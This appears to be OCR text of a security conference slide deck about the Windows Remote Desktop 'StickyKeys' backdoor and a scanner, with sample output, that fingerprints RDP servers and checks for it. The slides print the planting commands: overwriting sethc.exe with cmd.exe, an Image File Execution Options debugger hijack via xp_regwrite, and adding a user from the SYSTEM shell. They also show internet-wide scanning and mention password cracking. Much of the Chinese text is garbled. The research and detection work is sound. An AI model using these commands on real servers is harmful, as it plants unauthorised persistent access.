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o ZHUE aka Orange

* CHROOT BXE

 DEVCORE Security Consultant
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old issue ?

yes, it is.



Rim SR HZF?

Remote Deskiop Backdoor ?
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Remote Desktop "StickKeys" Backdoor ?
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ZR7A %

e C:\windows\system32\sethc.exe
— shift * 5
e C:\windows\system32\utilman.exe

— Windows + U

e C:\windows\system32\osk.exe

— ERBhBEEE
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- HIEBS
— copy /y cmd.exe C:\windows\system32\sethc.exe

— copy /y cmd.exe :\windows\system32\dllcache
\sethc.exe

— takeown /f sethc.exe

— echo y | cacls sethc.exe /G administrator:F



— EXEC master..xp_regwrite
'HKEY LOCAL_MACHINE',

'SOFTWARE\Microsoft\Windows NT\CurrentVersion
\Image File Execution Options\sethc.exe',

'debugger’,
'reg_sz/,

'C:\windows \system32\cmd.exe'
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[X| FreeRDP: 54.64.32.215

Log On to Windows

"uumfr
£y Yindove

f Carp

User name:

Password:

Cancel | Options => |




|X| FreeRDP: 54.64.1.14

Il.og On to Windows

User name: |
StickyKeys E3

Pressing the SHIFT key 5 times turns on StickyKeys. StickyKeys lets you use
the SHIFT, CTRL, ALT, or Windows Logo keys by pressing one key at a time.

To keep StickyKeys on, click OK.
To cancel StickyKeys, click Cancel.
To deactivate the key combination for StickyKeys, click Settings.

Cancel |




X\| FreeRDP: 54.64.32.215

User name: ‘

Passwor d H ‘

(e | CAWINDDWS' system32'sethc.exe

icrosoft Windows [Uersion 5.2.37981
(C> Copyright 1985-20803 Microsoft Corp.

\WINDOWS\system32>net user orange orange add_




\| FreeRDP: 54.64.32.215

Log On to Windows

E windows Task Manager
File Options View Help

Applications ~ Processes IPerformance I Networkingl Users |

sethc.exe SYSTEM 5,676 K
ctfmon.exe *32 Administrator 160K
logon.scr LOCAL SERVICE 2,372K Cancel I Shut Down,., | Options << |
ctfmon.exe Administrator 436 K
wmiprvse,exe NETWORK SERVICE 9,056 K
explorer.exe Administrator 3,300 K
VSSVYC.BXE SYSTEM 5,744 K
svchost.exe SYSTEM 5,524 K
rdpclip.exe Administrator 452 K
Wmiprvse. exe NETWORK SERVICE 25,420 K
CSrss.exe SYSTEM 4,306 K
alg.exe LOCAL SERVICE 4,376 K
wmiprvse,exe SYSTEM 8,052 K
winlogon.exe SYSTEM 7,452 K
svchost.exe SYSTEM 7,588 K
XenGuestAgent.exe SYSTEM 43,096 K
Ec2Config.exe SYSTEM 47,344 K
cmd.exe Administrator 120K
svchost.exe NETWORK SERVICE 5,940 K ;]

End Process I
Processes: 38 CPU Usage: 0% Commit Charge: 336M [ 2433M 2




FreeRDP: 54.64.32.215

Log On to Windows

[ Microsoft'

; 2 Windows Server 2003 R2
¥ Datacenter x64 Edition

File Edit View Favorites

«™ Local Disk (C:) - Microsoft Internet Explorer M=] E3

Tools Help

@Back v @ v tj ’ /OSearch H:: Folders |v
Address I i, I Go

System Tasks

I@ Hide the contents of this
drive

@ Add or remove programs
") Search for files or folders

File and Folder Tasks

(. Make a new folder

&) Publish this folder to the
Web

7 Share this Folder

Other Places

J My Computer
() My Documents
&) My Network Places

Details

U Documents and Settings

™\ —,

Program Files U Program Files (x86)

7 \——

WINDOWS U wmpub
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adninistrator

‘ £ 0)




RPaU adninistratoy

53 @)

‘ iR ‘ | :DF=] ‘ &M ) |

test1234
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3— Archive name and parameters

General IAdvanced | Otions | Files | Backup | Time | Comment |

Archive name Browse. ..

cmd sfx.exe v I

Update mode

Profiles... I Add and replace files I

Archive format Archiving options
‘ “ RAR ( RARS ( ZIP \ [ Delete files after archiving

[V Create SF¥ archive
Compression method ™ Create solid archive

Normal I ™ Add recovery record

Dictionary size [ Test archived files

4096 KB I ™ Lock archive

Split to volumes, size




Enter password

Archiving with password

Enter password

************ v I

Reenter password for verification

************l

[~ show password
[V Encrypt file names

QOrganize passwords. .. |




Capyright © 1885-2003 Microsoft Corporation

{EREREL: a::lminish*ator

EHEE):
Enter password

Enter password for the encrypted file:
CAWINDOWS!system32\sethc.exe

cost_|




T A Windows

£ e NN

¥+ WinRAR self-exiracting archive M= B3

Checksum error in the encrypted file C:\WINDOWS'\ system32
‘sethc.exe. Corrupt file or wrong password.

Destination Folder

c:vwinDowSisystem 2| - 1" |

Extraction progress

e

|




B A Windows

£ e DN

¥4 WinRAR self-exiracting archive

Chockciim avear in Fha ancruntad fila C4 WINDNWES cuclem32

ATHEHR (2] ]

Select destination folder
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Extract | Cancel |
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What | Want to Do ?



What | Want to Do ?

* RDP Scanner
1. RDP Info
2. Check Backdoor

3. Maybe check weak password

e ./rdp_scan 0.0.0.0/0
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From BH 03

e Windows 2000 mstsc.exe has an undocumented API
— mstsc.exe /CLXDLL=cIxtshar.dll

— smclient.exe ( Windows 2000 resource toolkit )

e TSGrinder

* RDP Risk Checker
— by xtiger



BEHLfHSE RDP Protocol



e P X

» HEIRILIFT ] RDP Spec
— MS-RDPBCGR ( Basic Connectivity and Graphics
Remoting )
— MS-RDPEGDI
— MS-RDPERP

— MS-RDPNSC
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* i€ Open Source F¥RAZE?
— RDesktop
— Proper-JavaRDP / Lixia-JavaRDP

— FreeRDP



RDP Protocol

* Connection Negotiation
— Native RDP
— TLS
— NLA



RDP Protocol

* MCS - Multipoint Communication Service
— Create channel
— Join channel

— Clipboard, sound, Device redirect, File sharing ...



RDP Protocol

* Security Exchange

— Encryption Mode
* FIPS 140-1
* RSA with RC4 ( 40, 128 bit key )

— Exchange Public Key and Client/Server Random



RDP Protocol

* RDP Setting Exchange

— Client Info
e username, password, hostname ...
* xfreerdp -n client_hostname <IP>
— Capabilities
* Orders Support ?

* Font, Color, Keyboard, Pointer, Cache ...



RDP Protocol

e RDP Command
— PDU DATA

* Bitmap, Control, Sync, Pointer, Disconnect ...

— Orders
* Line, Rectangle, Polygon, Glyph ...

— Client Data
* Point, Keyboard
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RDP Weak Password Cracker



RDP Weak Password Cracker

* RDP Setting Exchange - Client Info
-1 R
* 1R#EE Key Type

-5

)



RDP Info Scanner



RDP Info Scanner

)

» (ERAVIPVEER B ERTIIEFNEH
— RDP Version (4, 5)
— Protocol (RDP, TLS, NLA)
— Encrpytion (RSA+RC4 or FIPS 140-1 ?)
— Certificate

— 21 Windows version [Ifg?




RDP Info Scanner v1
- —BA%R1E ROP IR A TTEEEMIES

— RSA_INFO_LENGTH
* 376 # Vista+
* 184 # XP / 2003
— Slow-Path
* Windows 8+ do not support
— Bell PDU
* Windows 2008 R2+ do not support
— BPP - Bits per Pixel
* Windows 8+ do not support BPP lower than 16




RDP Info Scanner v2

* File System Virtual Channel Extension

— [ version major 1 [ version minor

header 4 bytes

client ID 4 bytes

— Version major MUST be set to 0x0001

— Version minor

* 0x02
* 0x05
* 0x06
* Ox10

# Win 2000

# Win XP sp1/sp2, Win 2003 sp]
# Win XP sp3

# Win 2003 sp2



RDP Backdoor Scanner

—FHBREUUSREBEE...




RDP Backdoor Scanner

* Orders A B & Fast glyph
N =1]) parse H ASCI B TT
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B A Windows
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Copyright @ 1885-2003 Microsoft Corporation Microsoft

EREREU:

T SHIFT BTN BEHERRIRTIAS. AT ST :
CTRL. ALT &% Hindovs (SR, Sk DIE—(EIRHL. (3) after the right sequence,

IR ENENEE, B (] the password input box appear.
P EMEIRR , 5 ().
RB RIS | B (E. [

we | [®R ] _#= |

(1) click <setting> button

(2) click <cancel> button
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Screenhost ?

* RDP new version not support Fast Glyph



BE?

* Bell PDU

* RDP Version 7 A~ $& Bell PDU
— YA Sound Channel 1t
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» sethc.exe SRFHLEEEMITIIRE @ M—HLR
P E00L

— FindWindowEx # 2003 ...
— CreateMutex # 2008 +




{T%%( Original )

* Send KeyDown SHIFT * 5

StickyKeys

Pressing the SHIFT key 5 times tums on StickyKeys. StickyKeys lets you use
the SHIFT, CTRL, ALT, or Windows Logo keys by pressing one key at a time.

To keep StickyKeys on, click OK.
To cancel StickyKeys, click Cancel.
To deactivate the key combination for StickyKeys, click Settings.

................................

QK Cancel Settings




{T%%( Original )

* Send KeyDown SHIFT * 5
* Send KeyDown SHIFT * 5

Pressing the SHIFT key 5 times tums on StickyKeys. StickyKeys lets you use
the SHIFT, CTRL, ALT, or Windows Logo keys by pressing one key at a time.

To keep StickyKeys on, click OK.
To cancel StickyKeys, click Cancel.
To deactivate the key combination for StickyKeys, click Settings.

................................

QK Cancel Settings




{T%%( Original )

* Send KeyDown SHIFT * 5
e Send KeyDown SHIFT * 5
* Send KeyDown ESC



{T%%( Original )

Send KeyDown SHIFT * 5
Send KeyDown SHIFT * 5
Send KeyDown ESC
Send KeyDown ESC



{T%3( Backdoor )

* Send KeyDown SHIFT * 5

StickyKeys

Pressing the SHIFT key 5 times tums on StickyKeys. StickyKeys lets you use
the SHIFT, CTRL, ALT, or Windows Logo keys by pressing one key at a time.

To keep StickyKeys on, click OK.
To cancel StickyKeys, click Cancel.
To deactivate the key combination for StickyKeys, click Settings.

................................

QK Cancel Settings




{T%3( Backdoor )

* Send KeyDown SHIFT * 5
* Send KeyDown SHIFT * 5

Td  Pressing the SHIFT key 5times tums on StickyKeys. StickyKeys lets you use
the SHIFT, CTRL, ALT, or Windows Logo keys by pressing one key at a time.

To keep StickyKeys on, click OK.
To cancel StickyKeys, click Cancel.
To deactivate the key combination for StickyKeys, click Settings.

................................

OK Cancel Settings




{T%3( Backdoor )

e Send KeyDown SHIFT *
e Send KeyDown SHIFT *

* Send ESC * 1

5
5

Pressing the SHIFT key 5 times tums on StickyKeys. StickyKeys lets you use
the SHIFT, CTRL, ALT, or Windows Logo keys by pressing one key at a time.

To keep StickyKeys on, click OK.
To cancel StickyKeys, click Cancel.
To deactivate the key combination for StickyKeys, click Settings.

................................

QK Cancel Settings




{T%3( Backdoor )

Send KeyDown SHIFT * 5
Send KeyDown SHIFT * 5
Send ESC * 1
Send ESC * 1



{T%3( Backdoor )

Send KeyDown SHIFT * 5
Send KeyDown SHIFT * 5
Send ESC * 1
Send ESC * 1

Wiaiting ...
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Exception

* Windows XP

* Windows 2003

* Windows Vista

* Windows 7

* Windows 2008

* Windows 2008 R2

work
work
work
work
not work ...

work



sethc.exe of Windows 2008

 HREE RS SRS EENT..
 Windows 2003
— FindWinodwEx

 Windows 2008 R2

— CreateMutex

 Windows 2008




rdp-py-imp bash 80x24

Orange-2:rdp-py-imp Orange$ python r.py -s 140.119.98.5

Enaro RDP Tool ver 0.1
by orange@chroot.org

Infomation ->

[-] connect to 140.119.98.5 on port 3389
connect success !
rdp_protocol -> native RDP
encryption -> rcd4 128-bit
encryption_level -> medium
rsa_info_length -> 1322
server_bpp -> 8
windows_version -> 2003/sp2
shift sended !
shift sended !
esc sended !
esc sended !

—
* ¥ ¥ ¥ ¥ ¥ 1
—
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[

Result ->
[-] backdoor not found :(

Orange-2:rdp-py-imp Orange$




Conclusion
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Thanks



